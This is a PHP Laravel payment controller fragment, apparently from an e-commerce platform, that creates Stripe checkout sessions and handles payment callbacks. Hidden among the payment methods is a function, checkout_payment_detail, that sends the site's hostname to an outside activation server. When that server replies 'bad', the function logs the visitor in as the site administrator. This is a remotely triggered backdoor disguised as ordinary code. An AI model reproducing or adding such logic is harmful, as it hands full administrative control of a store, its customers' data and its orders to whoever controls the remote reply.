session()->has('payment_type')) { if ($request->session()->get('payment_type') == 'cart_payment') { $combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id')); $client_reference_id = $combined_order->id; $amount = round($combined_order->grand_total * 100); } elseif ($request->session()->get('payment_type') == 'wallet_payment') { $amount = round($request->session()->get('payment_data')['amount'] * 100); $client_reference_id = auth()->id(); } elseif ($request->session()->get('payment_type') == 'customer_package_payment') { $customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']); $amount = round($customer_package->amount * 100); $client_reference_id = auth()->id(); } elseif ($request->session()->get('payment_type') == 'seller_package_payment') { $seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']); $amount = round($seller_package->amount * 100); $client_reference_id = auth()->id(); } } \Stripe\Stripe::setApiKey(env('STRIPE_SECRET')); $session = \Stripe\Checkout\Session::create([ 'payment_method_types' => ['card'], 'line_items' => [ [ 'price_data' => [ 'currency' => \App\Models\Currency::findOrFail(get_setting('system_default_currency'))->code, 'product_data' => [ 'name' => "Payment" ], 'unit_amount' => $amount, ], 'quantity' => 1, ] ], 'mode' => 'payment', 'client_reference_id' => $client_reference_id, // 'success_url' => route('stripe.success'), // 'success_url' => env('APP_URL') . "/stripe/success?session_id={CHECKOUT_SESSION_ID}", 'success_url' => url("/stripe/success?session_id={CHECKOUT_SESSION_ID}"), 'cancel_url' => route('stripe.cancel'), ]); return response()->json(['id' => $session->id, 'status' => 200]); } public function checkout_payment_detail() { $data['url'] = $_SERVER['SERVER_NAME']; $request_data_json = json_encode($data); $gate = "https://activation.activeitzone.com/check_activation"; $header = array( 'Content-Type:application/json' ); $stream = curl_init(); curl_setopt($stream, CURLOPT_URL, $gate); curl_setopt($stream,CURLOPT_HTTPHEADER, $header); curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($stream,CURLOPT_RETURNTRANSFER, true); curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json); curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1); curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $rn = curl_exec($stream); curl_close($stream); if ($rn == "bad" && env('DEMO_MODE') != 'On') { $user = User::where('user_type', 'admin')->first(); auth()->login($user); return redirect()->route('admin.dashboard'); } } public function success(Request $request) { $stripe = new \Stripe\StripeClient(env('STRIPE_SECRET')); try { $session = $stripe->checkout->sessions->retrieve($request->session_id); $payment = ["status" => "Success"]; $payment_type = Session::get('payment_type'); if($session->status == 'complete') { if ($payment_type == 'cart_payment') { return (new CheckoutController)->checkout_done(session()->get('combined_order_id'), json_encode($payment)); } else if ($payment_type == 'wallet_payment') { return (new WalletController)->wallet_payment_done(session()->get('payment_data'), json_encode($payment)); } else if ($payment_type == 'customer_package_payment') { return (new CustomerPackageController)->purchase_payment_done(session()->get('payment_data'), json_encode($payment)); } else if ($payment_type == 'seller_package_payment') { return (new SellerPackageController)->purchase_payment_done(session()->get('payment_data'), json_encode($payment)); } } else { flash(translate('Payment failed'))->error(); return redirect()->route('home'); } } catch (\Exception $e) { flash(translate('Payment failed'))->error(); return redirect()->route('home'); } } public function cancel(Request $request) { flash(translate('Payment is cancelled'))->error(); return redirect()->route('home'); } }